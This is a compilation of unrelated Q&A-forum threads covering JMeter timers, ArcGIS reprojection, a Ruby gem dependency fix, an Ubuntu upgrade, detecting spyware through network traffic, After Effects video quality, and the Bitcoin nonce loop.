I need to make a test with 10 threads and 10 iterations with a random pause of 2 to 5 seconds between requests

Just add a Constant Timer at the same level as your request Samplers live and put the __Random() function there. Just multiply the values by 1000 because Constant Timer uses milliseconds.

More information: A Comprehensive Guide to Using JMeter Timers


Automating process to reproject and merge all feature classes of three ArcSDE geodatabases with multiple feature datasets included?

Question: I have three different instances of SDE that have the same schema. Each SDE has multiple (5) feature datasets. I need to reproject all feature classe within these datasets to a common coordinate system (in this case web aux sphere), merge the three SDE together into that coordinate system while maintaining all the feature classes, and overwrite old data in the previously merged "final" database (which is just a file geodatabase not SDE). I haven't been able to figure out how to automate this process. I've tried using an iterator but my ModelBuilder and ArcPy experience is limited so I have had no success.
Answer: The figure below may help answer your question. I would create a new file geodatabase, with your desired schema, and would set the output from Project tools to be saved there. If you need your final database to be an SDE, then maybe you can use one of your original SDEs to store your new, projected data.


Ruby Gem not install dependency

Question: I created a Ruby Gem and published it. I tried downloading it and I keep getting cannot require my dependent gem. The code is at https://github.com/wallerjake/toolshed and the gem in question is httparty. The error that I am getting is
~/.rvm/gems/ruby-2.0.0-p353@sullivan_cotter/bundler/gems/toolshed-46404c5af06d/lib/toolshed.rb:2:in `require': cannot load such file -- httparty (LoadError)
I have updated my https://github.com/wallerjake/toolshed/blob/master/toolshed.gemspec to use add_dependency instead but that doesn't seem to be helping. Could it be conflicting with other Gems?
Answer: You have specified development dependency, but call the rake form binary, just put rake gem dependency into usual add_dependency, and remove ::gem call to:
bin/toolshed:
require 'rubygems'
require 'toolshed'
require 'rake'

One again question: for what do you need the binary?
The toolshed.gemspec seems correct. How do you call it? Remove the installed gem with gem uninstall toolshed including binary. Make sure that the bundle install, and then call to bundle exec bin/toolshed.rb is correct after patching the dependencies.
After that generate the gem with gem build toolshed.gemspec, and install the gem with gem install toolshed-0.0.4.gem. Make sure that binary works. Only then publish the gem.
Answer: The version on rubygems is still the old one with only development dependencies. Worked fine when I downloaded and built you gem from Github.
Answer: Yes sorry I solved this by adding them as a dependency not a development dependency.

spec.add_dependency "httparty"
spec.add_dependency "json"
spec.add_dependency "pivotal-tracker"

Ruby Gem not install dependency


What to check before I allow upgrade from my system?

Question: I am using Ubuntu 10.10 from last two months, I faced many problems while installing and stabilizing the OS [first tried to normal dual boot, but had to install through wubi]. It cost me three re-installations and loss of some data to stabilize my OS.
Currently the upgrade manager constantly shows that an upgrade to 11.04 is available for my system.
What should I check before I go ahead for upgrade?
Answer: Here are some ideas:

Live system: I think the easiest way to check the stability of a new version of Ubuntu is to run it from a live CD or a USB stick. Personally, I would recommend creating a persistent Ubuntu system on a USB stick using Startup Disk Creator. Boot the system, install any drivers, and test any applications you rely on.
No PPAs: If you want a smooth upgrade, I would recommend against PPAs. If you have enabled some PPAs, uninstall its packages before upgrading your system.
Backups: Another safe precaution is to make a backup. Backups are always a good idea anyway.


How to detect spyware over HTTP?

Question: I am trying to detect spyware on my PC by traffic analysis. I am connected to a VPS (the sniffer) by a VPN and I am going to select all the sent data by the POST method. Is this correct? I mean the only way to send data out via HTTP is through the POST method, (leaving out CONNECT) correct?
Comment: I recommend tracing the spyware back to where you first downloaded it. Have you recently downloaded a malicious file? They're also a number of programs that can help you find and eliminate the spyware. I recommend taking a look at forest's answer.
Answer: There are countless ways spyware can exfiltrate information, including, but not limited to:

HTTP using a method such as GET, POST, PUT, etc.
Raw TCP or UDP payload contents.
Hidden in TCP or even IP headers (e.g. smuggled in the URG pointer).
ICMP payload contents, which are normally hidden.
Induced timing variations in legitimate network traffic.

Checking for sensitive data sent over HTTP POST will not help you detect spyware as there are so many other ways to exfiltrate information from a compromised server. Unfortunately, you will need to know what you are looking for in order to detect spyware traffic. However, if the spyware is not particularly advanced, there are many operating system-specific tools that you can use which will tell you what processes are communicating with the network. This of course assumes that the spyware is not running as a privileged user or in any other privileged context (e.g. kernel mode), otherwise it could hide from any such tools.
Answer:
I mean the only way to send data out is through the POST method ? (leaving out CONNECT)

No. You can encode data in the URL as well. And maybe it doesn't even use HTTP.
You can also encode data in Cookies that are sent through a GET request. The idea that only POST is able to send data is a common misconception. HTML forms aren't even restricted to use POST; you can specify a method.
If it uses HTTP then your best shot is to look for HTTP requests that you didn't make.
Then scan through this list and check them because there's probably a lot of background software/services that do all sorts of HTTP requests as well (such as checking for available updates and whatnot).

How to detect spyware over HTTP?


video bad resolution it stuck in some frames

Question: I try to design video that include phone screen recording.
the phone recording is good resolution out after effects
when i add it to after effects it's stuck in some frames and it seems bad resolution!
any advise please?
Answer: Being a .mov shouldn't cause that issue on its own.  Video files have wrappers and codecs. The ".mov" file name is just the wrapper. The codec is the way the file is encoded inside the wrapper, which you can see by opening the file in something like Quicktime Player and clicking on Window --> Show Movie Inspector.
Most files on phones are stored in lossy formats.  When you convert these again to another lossy format like mp4 you will lose some more quality.
You might get a sharper looking result by converting your original file to a lossless format like ProRes or an Animation codec.  You can do this using Adobe Media Encoder.
Answer: Finally I find out the problem!
It's happen because the video format was .mov
Just convert it to mp4 by online tool then everything was ok!


Where is the nonce incremented in Bitcoin source code?

Question: Where is the nonce incremented in Bitcoin source code?
I found where the extra nonce is incremented, but not the regular nonce?
Answer: Line 132 in src/mining.cpp in the generateBlocks method.
<code>while (nMaxTries > 0 && pblock->nNonce < nInnerLoopCount && !CheckProofOfWork(pblock->GetHash(), pblock->nBits, Params().GetConsensus())) {
    ++pblock->nNonce;
    --nMaxTries;
}
</code>
Update: Given @MeshCollider's answer I guess this is now only relevant on the regtest network.
Comment: Oh yes, there is still a miner for regtest, forgot about that :)
Answer: The internal miner was removed from Bitcoin Core in version 0.13.0, in this PR:
https://github.com/bitcoin/bitcoin/pull/7507
It used to be incremented in ScanHash(), but as of the removal, there is nowhere which increments the nonce, that would be done by mining software.